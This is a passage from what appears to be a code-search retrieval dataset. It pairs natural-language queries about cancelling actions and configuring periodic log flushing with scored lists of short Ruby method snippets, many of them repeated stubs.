transition_to(:setup)\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.510964", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5108603", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5108603", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5108603", "text": "def action\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5106174", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.5104524", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.50983906", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.509494", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.5093076", "text": "def add_callbacks(base); end", "title": "" } ]
d1c7c24abadf6910a10962f7ebf14e4c
Cancel this action if not already effected.
[ { "docid": "248353691b39c9e52f3de0f8e66eb48b", "score": "0.740553", "text": "def cancel!\n raise :not_cancellable unless cancellable?\n\n # Update our status.\n change_status Action::Status::CANCELLED\n end", "title": "" } ]
[ { "docid": "c97c39903fd9724a1a28c59dfdac64f4", "score": "0.7480088", "text": "def cancel\n @canceled = true\n end", "title": "" }, { "docid": "8a2c68459949fef42b842592e3477595", "score": "0.74686986", "text": "def cancel?\n self.action == :cancel\n end", "title": "" }, { "docid": "4863135810c71606ad39fbcedefc646f", "score": "0.7370911", "text": "def cancel\n # Context is already cleared in action_for_message\n end", "title": "" }, { "docid": "62b81e7c67323ac55432972b4366c6b8", "score": "0.73318297", "text": "def cancel_action( msg=nil )\n\t\t\tself.raise_hook_failure( msg )\n\t\tend", "title": "" }, { "docid": "62b81e7c67323ac55432972b4366c6b8", "score": "0.73318297", "text": "def cancel_action( msg=nil )\n\t\t\tself.raise_hook_failure( msg )\n\t\tend", "title": "" }, { "docid": "ecbdc132296fbefa1302d346d71152d3", "score": "0.7289708", "text": "def cancel\n @cancelled = true\n end", "title": "" }, { "docid": "342cdcc3a958b0414008170f700c9532", "score": "0.7209254", "text": "def cancel(&block)\n unless can_cancel?\n fail \"action ##{@data[:id]} (#{label}) cannot be cancelled\"\n end\n\n @cancel = true\n @cancel_block = block\n end", "title": "" }, { "docid": "370986f5c07ad9570ea2cd6a2454698c", "score": "0.7206668", "text": "def cancel\n mark_as_cancelled\n end", "title": "" }, { "docid": "e43a59b53f1eca125aa3ec240cfed7d9", "score": "0.7202645", "text": "def cancel\n super\n end", "title": "" }, { "docid": "e43a59b53f1eca125aa3ec240cfed7d9", "score": "0.7202645", "text": "def cancel\n super\n end", "title": "" }, { "docid": "cda4bd1f46cedace3aa1607c815cef96", "score": "0.7191792", "text": "def cancel\n unless finished? || canceled?\n self.update(canceled_at: Time.now, finished_at: Time.now, succeeded: false)\n end\n end", "title": "" }, { "docid": "2c21f9a629fc6c45b80c0b329dc50f17", "score": "0.71645135", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2c21f9a629fc6c45b80c0b329dc50f17", "score": "0.71645135", "text": "def cancel\n super\n end", "title": "" }, { "docid": "fea56da8f3429163442d2cf06a341d64", "score": "0.7113319", "text": "def cancel\n end", "title": "" }, { "docid": "5d1820eb4665ecb3b8a566dcbca2f292", "score": "0.70072234", "text": "def cancel\n self.update(canceled_at: Time.now)\n end", "title": "" }, { "docid": "de49128a90ed0f12796038dcb5e5d154", "score": "0.70013213", "text": "def cancel\r\n super\r\n end", "title": "" }, { "docid": "de49128a90ed0f12796038dcb5e5d154", "score": "0.70013213", "text": "def cancel\r\n super\r\n end", "title": "" }, { "docid": "ee7a535baaced5af9b950656d10052a7", "score": "0.6982908", "text": "def cancel\n handle_action('cancel')\n end", "title": "" }, { "docid": "00b5c265e9c56e9713500c3bb01a55a5", "score": "0.6956594", "text": "def cancel\n\n unschedule\n\n super()\n\n @applied_workitem\n end", "title": "" }, { "docid": "bcb388c0819c8bfa7fa110e747c15319", "score": "0.69440854", "text": "def cancel\n if self.state != \"completed\"\n self.cancelled!\n end\n end", "title": "" }, { "docid": "5e47364a3b902d91972edd775286d140", "score": "0.69277316", "text": "def cancel\n super\n end", "title": "" }, { "docid": "5e47364a3b902d91972edd775286d140", "score": "0.69277316", "text": "def cancel\n super\n end", "title": "" }, { "docid": "5e47364a3b902d91972edd775286d140", "score": "0.69277316", "text": "def cancel\n super\n end", "title": "" }, { "docid": "5e47364a3b902d91972edd775286d140", "score": "0.69277316", "text": "def cancel\n super\n end", "title": "" }, { "docid": "673ccf336ac03367e075dcb9c074b38c", "score": "0.6921781", "text": "def cancel_request\n @cancelled = true\n end", "title": "" }, { "docid": "40d20d0e3d843ae701feabe4bf881025", "score": "0.690782", "text": "def cancel\n @multi.cancel!\n end", "title": "" }, { "docid": "4d41b30504441a11271d9909835548eb", "score": "0.68823725", "text": "def cancel\n begin\n control(:action => \"cancel\")\n rescue SplunkHTTPError => err\n if err.code == 404\n return self # Job already cancelled; cancelling twice is a nop.\n else\n raise err\n end\n end\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "2cd2c2688b7482ce62065bbc1f0e4362", "score": "0.6875648", "text": "def cancel\n super\n end", "title": "" }, { "docid": "a8b822b27bcbe3efc5edd387592b236e", "score": "0.6870356", "text": "def cancel()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "56adeea29b8056590c837fcea6ff004c", "score": "0.68529737", "text": "def cancel\r\n end", "title": "" }, { "docid": "05d1b48b40abbf8ba1ce2307f05d57aa", "score": "0.6838146", "text": "def cancel!\n Billomat::Actions::Cancel.new(id).call\n end", "title": "" }, { "docid": "7428335f05ed7c96f61d53fd7aa7b8c4", "score": "0.6807193", "text": "def cancel\n @action = Action.find(params[:id])\n checker_resource_id = params[:checker_resource_id].to_i\n if @action\n @action.status = 'Cancelled'\n @action.checker_resource_id = checker_resource_id\n if @action.save\n flash[:notice] = \"Action on #{@action.object_resource_class_name.titlecase} cancelled successfully.\"\n redirect_to action: :index and return\n else\n flash.now[:error] = @action.errors.full_messages\n redirect_to action: :index and return\n end\n end\n end", "title": "" }, { "docid": "ff3f9cfcdd514c146bb81564c9107514", "score": "0.68006784", "text": "def cancel\n end", "title": "" }, { "docid": "caf64870064f1a0f70f9fe54a44ca998", "score": "0.67671084", "text": "def cancel_actions!\n actions.incomplete.update_all(completed: true)\n end", "title": "" }, { "docid": "f578b5226ddcc911ea341529b2fd52f6", "score": "0.6737425", "text": "def cancel!\n update(request_cancelled: true)\n end", "title": "" }, { "docid": "1952b5bbcb44c9b78a115f9962f19212", "score": "0.67321235", "text": "def cancel\n # Define this later\n end", "title": "" }, { "docid": "1952b5bbcb44c9b78a115f9962f19212", "score": "0.67321235", "text": "def cancel\n # Define this later\n end", "title": "" }, { "docid": "bb1461276b7be3897f806a0f13411050", "score": "0.6729921", "text": "def cancelled!\n @cancelled = true\n end", "title": "" }, { "docid": "64755b4749f8a837303705f9cc10d2bd", "score": "0.67187023", "text": "def cancel\n if paused? || stuck?\n update!(status: :cancelled, ended_at: Time.now)\n else\n cancelling!\n end\n end", "title": "" }, { "docid": "64755b4749f8a837303705f9cc10d2bd", "score": "0.67187023", "text": "def cancel\n if paused? || stuck?\n update!(status: :cancelled, ended_at: Time.now)\n else\n cancelling!\n end\n end", "title": "" }, { "docid": "38b6d53f3ed514e0eac3f070d7150e13", "score": "0.67153037", "text": "def cancel\n end", "title": "" }, { "docid": "cb4a4bc4cbae14d4ead0b164b2ec465b", "score": "0.6706484", "text": "def cancel\n @isCanceled = true\n return true\n end", "title": "" }, { "docid": "dd4f614b9bfb4f8cb05a4c5df7f9005e", "score": "0.66762", "text": "def cancel\n self.change_status(:canceled)\n @thread.kill\n end", "title": "" }, { "docid": "ee76777d340c2980f9bf46b4edeec673", "score": "0.665065", "text": "def cancel(*args)\n commit('cancel', *args)\n end", "title": "" }, { "docid": "50d66879ba69d4ff8f3be83612903e3f", "score": "0.6631398", "text": "def cancel\n\n end", "title": "" }, { "docid": "ffbab62a5f270b4b2efaef4338984293", "score": "0.6629843", "text": "def cancel\n throw(:abort)\n end", "title": "" }, { "docid": "ffbab62a5f270b4b2efaef4338984293", "score": "0.6629843", "text": "def cancel\n throw(:abort)\n end", "title": "" }, { "docid": "ffbab62a5f270b4b2efaef4338984293", "score": "0.6629843", "text": "def cancel\n throw(:abort)\n end", "title": "" }, { "docid": "0ef6683ae645c0765fb1dc5d1b96e0cb", "score": "0.6625805", "text": "def cancel element\n element.perform_action :cancel\n end", "title": "" }, { "docid": "44ed6ed5f41983e633d456175ebd5379", "score": "0.66108614", "text": "def cancel; end", "title": "" }, { "docid": "44ed6ed5f41983e633d456175ebd5379", "score": "0.66108614", "text": "def cancel; end", "title": "" }, { "docid": "44ed6ed5f41983e633d456175ebd5379", "score": "0.66108614", "text": "def cancel; end", "title": "" }, { "docid": "44ed6ed5f41983e633d456175ebd5379", "score": "0.66108614", "text": "def cancel; end", "title": "" }, { "docid": "44ed6ed5f41983e633d456175ebd5379", "score": "0.66108614", "text": "def cancel; end", "title": "" }, { "docid": "44ed6ed5f41983e633d456175ebd5379", "score": "0.66108614", "text": "def cancel; end", "title": "" }, { "docid": "44ed6ed5f41983e633d456175ebd5379", "score": "0.66108614", "text": "def cancel; end", "title": "" }, { "docid": "44ed6ed5f41983e633d456175ebd5379", "score": "0.66108614", "text": "def cancel; end", "title": "" }, { "docid": "c4e5843aa23040cfcc2888832501d487", "score": "0.6601291", "text": "def cancel() \n reject()\n end", "title": "" }, { "docid": "d3d5e608de0e6992992040049a9fac7e", "score": "0.6593213", "text": "def cancel!()\n @callbacks_cancel.call(self)\n finish!()\n end", "title": "" }, { "docid": "9b6ba9605aeef646174ac19367bd197e", "score": "0.65625256", "text": "def cancel\n @mutex.synchronize do\n cancelled = canceller.nil? ? false : canceller.call\n # Broadcast if the event was successfully cancelled. If not,\n # the result should end up getting set by the sent api request.\n # When the result is set, the resource is going to broadcast.\n @resource.broadcast if cancelled\n cancelled\n end\n end", "title": "" }, { "docid": "458aaec2265aec69580c8427a25a5ff0", "score": "0.6556903", "text": "def cancel\n warn(\"Cancelling task #{name}...\")\n self.status = :canceled\n stopped?\n end", "title": "" }, { "docid": "9695799253616a55845e580936aafd5a", "score": "0.65415066", "text": "def cancel\n result = self.class.call('operation.cancel', @id)\n @attributes['step'] = 'CANCEL' if result\n return result\n end", "title": "" }, { "docid": "08d78a7b38e9142f21218c9286142848", "score": "0.6536317", "text": "def cancel(*args)\n commit('cancel', *args)\n end", "title": "" }, { "docid": "08d78a7b38e9142f21218c9286142848", "score": "0.6536317", "text": "def cancel(*args)\n commit('cancel', *args)\n end", "title": "" }, { "docid": "162ac0efbc9b536bd3b1c599117143e5", "score": "0.6519634", "text": "def cancel(raise_on_repeated_call = true)\n !!@Cancel.resolve(*@ResolveArgs, raise_on_repeated_call)\n end", "title": "" } ]
b13112e7013850d0c72a65b2cc007b37
Configure periodic flushing of the message buffer. Periodic flushing is used to flush the contents of the logging buffer at some regular interval. Periodic flushing is disabled by default. When enabling periodic flushing the flush period should be set using one of the following formats: "HH:MM:SS" or seconds as an numeric or string. "01:00:00" : every hour "00:05:00" : every 5 minutes "00:00:30" : every 30 seconds 60 : every 60 seconds (1 minute) "120" : every 120 seconds (2 minutes) For the periodic flusher to work properly, the autoflushing threshold will be set to the default value of 500. The autoflushing threshold can be changed, but it must be greater than 1. To disable the periodic flusher simply set the flush period to +nil+. The autoflushing threshold will not be changed; it must be disabled manually if so desired.
[ { "docid": "1d129d725218e3604708b3397e2a7fb4", "score": "0.67798746", "text": "def flush_period=( period )\n @flush_period =\n case period\n when Integer, Float, nil; period\n when String\n num = _parse_hours_minutes_seconds(period) || _parse_numeric(period)\n raise ArgumentError.new(\"unrecognized flush period: #{period.inspect}\") if num.nil?\n num\n else\n raise ArgumentError.new(\"unrecognized flush period: #{period.inspect}\")\n end\n\n if !@flush_period.nil? && @flush_period <= 0\n raise ArgumentError,\n \"flush_period must be greater than zero: #{period.inspect}\"\n end\n\n _setup_async_flusher\n end", "title": "" } ]
[ { "docid": "4649102a35bbdc59afa0b397fd5d8ec1", "score": "0.7457275", "text": "def auto_flushing=(period)\n @auto_flushing[Thread.current] =\n case period\n when true; 1\n when false, nil, 0; MAX_BUFFER_SIZE\n when Integer; period\n else raise ArgumentError, \"Unrecognized auto_flushing period: #{period.inspect}\"\n end\n end", "title": "" }, { "docid": "bf36be8c9bbb56cf9907f6bf64082e4f", "score": "0.73678315", "text": "def auto_flushing=(period)\n @auto_flushing =\n case period\n when true; 1\n when false, nil, 0; MAX_BUFFER_SIZE\n when Integer; period\n else raise ArgumentError, \"Unrecognized auto_flushing period: #{period.inspect}\"\n end\n end", "title": "" }, { "docid": "da088f91a2580efb84fcea2879ad3701", "score": "0.7302785", "text": "def auto_flushing=(period)\r\n @auto_flushing =\r\n case period\r\n when true; 1\r\n when false, nil, 0; MAX_BUFFER_SIZE\r\n when Integer; period\r\n else raise ArgumentError, \"Unrecognized auto_flushing period: #{period.inspect}\"\r\n end\r\n end", "title": "" }, { "docid": "56f8bd1cdd281fdca21659ed63c97dda", "score": "0.7152604", "text": "def auto_flushing=( period )\n @auto_flushing =\n case period\n when true; 1\n when false, nil, 0; DEFAULT_BUFFER_SIZE\n when Integer; period\n when String; Integer(period)\n else\n raise ArgumentError,\n \"unrecognized auto_flushing period: #{period.inspect}\"\n end\n\n if @auto_flushing <= 0\n raise ArgumentError,\n \"auto_flushing period must be greater than zero: #{period.inspect}\"\n end\n\n @auto_flushing = DEFAULT_BUFFER_SIZE if @flush_period && @auto_flushing <= 1\n end", "title": "" }, { "docid": "dbd5133dcd20144f92f5ede243fb4bb1", "score": "0.7078635", "text": "def auto_flushing=(period)\n end", "title": "" }, { "docid": "f0cc16bdf549440fffbc6999398ddfb5", "score": "0.6455152", "text": "def periodic_flush\n true\n end", "title": "" }, { "docid": "f0cc16bdf549440fffbc6999398ddfb5", "score": "0.6455152", "text": "def periodic_flush\n true\n end", "title": "" }, { "docid": "f0cc16bdf549440fffbc6999398ddfb5", "score": "0.6455152", "text": "def periodic_flush\n true\n end", "title": "" }, { "docid": "f0cc16bdf549440fffbc6999398ddfb5", "score": "0.6455152", "text": "def periodic_flush\n true\n end", "title": "" }, { "docid": "f0cc16bdf549440fffbc6999398ddfb5", "score": "0.6455152", "text": "def periodic_flush\n true\n end", "title": "" }, { "docid": "66b753dd5eaeb42209ad273b99e25ffd", "score": "0.6442137", "text": "def configure_buffering( opts )\n ::Logging.init unless ::Logging.initialized?\n\n self.immediate_at = opts.fetch(:immediate_at, '')\n self.auto_flushing = opts.fetch(:auto_flushing, true)\n self.flush_period = opts.fetch(:flush_period, nil)\n self.async = opts.fetch(:async, false)\n self.write_size = opts.fetch(:write_size, DEFAULT_BUFFER_SIZE)\n end", "title": "" }, { "docid": "36b7820ec133410467f6903b8bb15145", "score": "0.63756686", "text": "def periodic_flush\r\n true\r\n end", "title": "" }, { "docid": "cab5d254cacd1e6670ac59310b678df7", "score": "0.5928797", "text": "def configure(options = {})\n enabled = options.fetch(:enabled, nil)\n\n # Those are rare \"power-user\" options.\n sampler = options.fetch(:sampler, nil)\n max_spans_before_partial_flush = options.fetch(:max_spans_before_partial_flush, nil)\n min_spans_before_partial_flush = options.fetch(:min_spans_before_partial_flush, nil)\n partial_flush_timeout = options.fetch(:partial_flush_timeout, nil)\n\n @enabled = enabled unless enabled.nil?\n @sampler = sampler unless sampler.nil?\n\n configure_writer(options)\n\n @context_flush = Datadog::ContextFlush.new(options) unless min_spans_before_partial_flush.nil? &&\n max_spans_before_partial_flush.nil? &&\n partial_flush_timeout.nil?\n end", "title": "" }, { "docid": "a2520cbab432ea1fad5a54096dafea56", "score": "0.5789707", "text": "def flush_period?\n !@flush_period.nil?\n end", "title": "" }, { "docid": "3103fd3708297a6bfe31b51c00358cf3", "score": "0.57710296", "text": "def delay_flush\n loop do\n begin\n if interval_ready?\n @hash_lock.synchronize {flush}\n end\n sleep(0.01)\n rescue => e\n end\n end\n end", "title": "" }, { "docid": "47b5a879e4484e6f814af71d0c288be1", "score": "0.5665562", "text": "def autoflush=(af)\n @connection.autoflush = af\n end", "title": "" }, { "docid": "0cc7455b80b1e12f88b968d93735d809", "score": "0.55853516", "text": "def get_context_flush\n Datadog::ContextFlush.new(min_spans_before_partial_flush: MIN_SPANS,\n max_spans_before_partial_flush: MAX_SPANS,\n partial_flush_timeout: TIMEOUT)\n end", "title": "" }, { "docid": "bc26b26814feb78b9dbeeaac3c959a4c", "score": "0.544559", "text": "def create_flusher_thread(flush_seconds) #:nodoc:\n if flush_seconds > 0\n begin\n logger = self\n Thread.new do\n loop do\n begin\n sleep(flush_seconds)\n logger.flush if Time.now - logger.last_flushed_at >= flush_seconds\n rescue => e\n STDERR.puts(\"Error flushing log: #{e.inspect}\")\n end\n end\n end\n end\n end\n end", "title": "" }, { "docid": "19a12cfec978330b913d829995a92f7d", "score": "0.54015297", "text": "def create_flusher_thread(flush_seconds) # :nodoc:\n if flush_seconds > 0\n begin\n logger = self\n Thread.new do\n until closed?\n begin\n sleep(flush_seconds)\n logger.flush if Time.now - logger.last_flushed_at >= flush_seconds\n rescue => e\n warn(\"Error flushing log: #{e.inspect}\")\n end\n end\n end\n end\n end\n end", "title": "" }, { "docid": "2db9409b9718ce0dd5231fea5a72963f", "score": "0.535129", "text": "def buffer_initialize(options={})\r\n if ! self.class.method_defined?(:flush)\r\n raise ArgumentError, \"Any class including Stud::Buffer must define a flush() method.\"\r\n end\r\n\r\n @buffer_config = {\r\n :max_items => options[:max_items] || 50,\r\n :flush_each => options[:flush_each].to_i || 0,\r\n :max_interval => options[:max_interval] || 5,\r\n :logger => options[:logger] || nil,\r\n :has_on_flush_error => self.class.method_defined?(:on_flush_error),\r\n :has_on_full_buffer_receive => self.class.method_defined?(:on_full_buffer_receive)\r\n }\r\n @buffer_state = {\r\n # items accepted from including class\r\n :pending_items => {},\r\n :pending_count => 0,\r\n :pending_size => 0,\r\n\r\n # guard access to pending_items & pending_count & pending_size\r\n :pending_mutex => Mutex.new,\r\n\r\n # items which are currently being flushed\r\n :outgoing_items => {},\r\n :outgoing_count => 0,\r\n :outgoing_size => 0,\r\n\r\n # ensure only 1 flush is operating at once\r\n :flush_mutex => Mutex.new,\r\n\r\n # data for timed flushes\r\n :last_flush => Time.now.to_i,\r\n :timer => Thread.new do\r\n loop do\r\n sleep(@buffer_config[:max_interval])\r\n buffer_flush(:force => true)\r\n end\r\n end\r\n }\r\n\r\n # events we've accumulated\r\n buffer_clear_pending\r\n end", "title": "" }, { "docid": "febb4db791ffe76167c0b5e5591aea03", "score": "0.5336363", "text": "def flush(allow_reconnect = false)\n queue_message('flush', {\n :synchronous => true,\n :allow_reconnect => allow_reconnect\n }) if running?\n end", "title": "" }, { "docid": "a7be28dcfe8d5dbe9c97ad0966728ef4", "score": "0.53131974", "text": "def on_flush(&block)\n @on_flush_block = block\n end", "title": "" }, { "docid": "4f4ca553188f6874eb1c2ea91a26d07c", "score": "0.52437603", "text": "def enable_wflush\n @enable_wflush = true\n return nil\n end", "title": "" }, { "docid": "adb1cb3f350031c24826d373838ca950", "score": "0.5164534", "text": "def configure(scheduler)\n scheduler.interval = 1.second\n end", "title": "" }, { "docid": "639bb1f2d86c2bcf02f8d4f2e055991b", "score": "0.5063035", "text": "def flush_log_buffer\n @@buffer_enabled = false\n self.log(@@buffer_log)\n @@buffer_log = ''\n end", "title": "" }, { "docid": "b25606b73c1d0147940f4849e871e164", "score": "0.5037192", "text": "def flush_all(delay=0)\n flush(delay)\n end", "title": "" }, { "docid": "e01afa9f80ee708dfb50fba26b0d42d5", "score": "0.5033346", "text": "def flush_filters(options = {}, &block)\n flushers = options[:final] ? @shutdown_flushers : @periodic_flushers\n\n flushers.each do |flusher|\n flusher.call(options, &block)\n end\n end", "title": "" }, { "docid": "f5d4e374ad27e703499cd0b22b40ce61", "score": "0.49896413", "text": "def can_flush?\n (Time.now - @last_send).to_f > put_rate_decay || @buffer.size >= Px::Service::Firehose.config.max_buffer_length\n end", "title": "" }, { "docid": "6f48585acb5489d4168c681078f63ad1", "score": "0.49841836", "text": "def flush!\n if @flushes == 0\n @log_file.write_start\n end\n @log_file.write_buf(@buf)\n @buf.clear\n @flushes += 1\n end", "title": "" }, { "docid": "3ee3abe05f8f812030b55bfca9d2eb24", "score": "0.4932945", "text": "def daemon_polling_period=(period)\n set(\"daemon_polling_period\", period, true)\n end", "title": "" }, { "docid": "12c55c40afeeb7931e7999d12838d168", "score": "0.4919869", "text": "def flush_buffer(flush)\n @expect.flush_buffer = flush\n end", "title": "" }, { "docid": "ff72bed6e4620f6cc54cbdddc5d0aad0", "score": "0.49073336", "text": "def _setup_async_flusher\n # stop and remove any existing async flusher instance\n if @async_flusher\n @async_flusher.stop\n @async_flusher = nil\n Thread.pass\n end\n\n # create a new async flusher if we have a valid flush period\n if @flush_period || async?\n @auto_flushing = DEFAULT_BUFFER_SIZE unless @auto_flushing > 1\n @async_flusher = AsyncFlusher.new(self, @flush_period)\n @async_flusher.start\n Thread.pass\n end\n\n nil\n end", "title": "" }, { "docid": "634939050df9335d765eadb269bf38b5", "score": "0.48761275", "text": "def flush\n\t flushed_logger_mutex.synchronize do\n\t\tif !logging?\n\t\t raise \"not logging\"\n\t\tend\n\n\t\tlogged_events.push [:flush, []]\n\t\tflushed_logger.wait(flushed_logger_mutex)\n\t end\n\tend", "title": "" }, { "docid": "825fce0b2d8c9d11163826ad4477600a", "score": "0.4857611", "text": "def internal_flush\n ary = [] \n while !buffer.empty?\n ary << buffer.deq\n end\n @channel << [:add_messages, ary] if ary.length > 0 \n end", "title": "" }, { "docid": "7b4dbbdf5aecc224ba40c604dc69252f", "score": "0.48574996", "text": "def safer_flush!\n if @request\n increment :slow_requests\n\n ignore_flush = (\n @events.size < @event_limit or\n @metrics.size < @metric_limit)\n\n return if ignore_flush\n end\n\n flush!\n end", "title": "" }, { "docid": "1a32d0ed82139cb70f688f3c1ff78638", "score": "0.48250797", "text": "def flush_sync\n @monitor.instrument(\n 'buffer.flushed_sync',\n producer_id: id,\n messages: @messages\n ) { flush(true) }\n end", "title": "" }, { "docid": "951dc72e03a39f0569e4af4b6e15c5db", "score": "0.4823294", "text": "def flush(flush_telemetry: false, sync: false)\n forwarder.flush(flush_telemetry: flush_telemetry, sync: sync)\n end", "title": "" }, { "docid": "74d461e6b7ffaed71f3523f3b0383a6a", "score": "0.48229253", "text": "def hbsend_interval()\n @connection.hbsend_interval()\n end", "title": "" }, { "docid": "08a2e2f9ecf3d094ec919840b3cb014f", "score": "0.48027453", "text": "def start_emitting\n log(\"Starting to emit bergcloud messages every #{emitting_timer_seconds}s\")\n EventMachine.add_periodic_timer(emitting_timer_seconds) do\n event_store.each do |id|\n messages = event_store.get_and_reset_messages!(id)\n print_message(id, messages)\n end\n end\n end", "title": "" }, { "docid": "8c05519d9982b36ff86fda6042c5eef5", "score": "0.47968775", "text": "def flush\n buffer.each do |message|\n log(message[:severity], message[:body])\n end\n clear_buffer\n end", "title": "" }, { "docid": "142b97a9ef06c60d7321bf5d0c89dc21", "score": "0.4792537", "text": "def send_heartbeat\n send_message DCell::Message::Heartbeat.new\n @heartbeat = after(self.class.heartbeat_rate) { send_heartbeat }\n end", "title": "" }, { "docid": "3a202313ef38af885531b14deb41dff4", "score": "0.47645387", "text": "def flush_all!\n logger.flush if logger.respond_to?(:flush)\n end", "title": "" }, { "docid": "3a202313ef38af885531b14deb41dff4", "score": "0.47645387", "text": "def flush_all!\n logger.flush if logger.respond_to?(:flush)\n end", "title": "" }, { "docid": "1d180a38e771e3529a48e65571cfccbb", "score": "0.47607893", "text": "def flush\n if @args[:flush_async]\n flush_async\n else\n flush_real\n end\n end", "title": "" }, { "docid": "3b7930acaec35d1c0747db4ebdcb96e4", "score": "0.47508898", "text": "def test_tracer_configure\n tracer = get_test_tracer\n\n # By default, context flush doesn't exist.\n assert_nil(tracer.context_flush)\n\n # If given a partial_flush option, then uses default context flush.\n flush_tracer = get_test_tracer(partial_flush: true)\n refute_nil(flush_tracer.context_flush)\n\n # If not configured with any flush options, context flush still doesn't exist.\n tracer.configure\n assert_nil(tracer.context_flush)\n\n # If configured with flush options, context flush gets set.\n tracer.configure(min_spans_before_partial_flush: 3,\n max_spans_before_partial_flush: 3)\n refute_nil(tracer.context_flush)\n end", "title": "" }, { "docid": "8d65d3b413fd6a02e2f875046ac9a21d", "score": "0.47166538", "text": "def flush\n Puppet.debug('rhsm.flush: will sync to 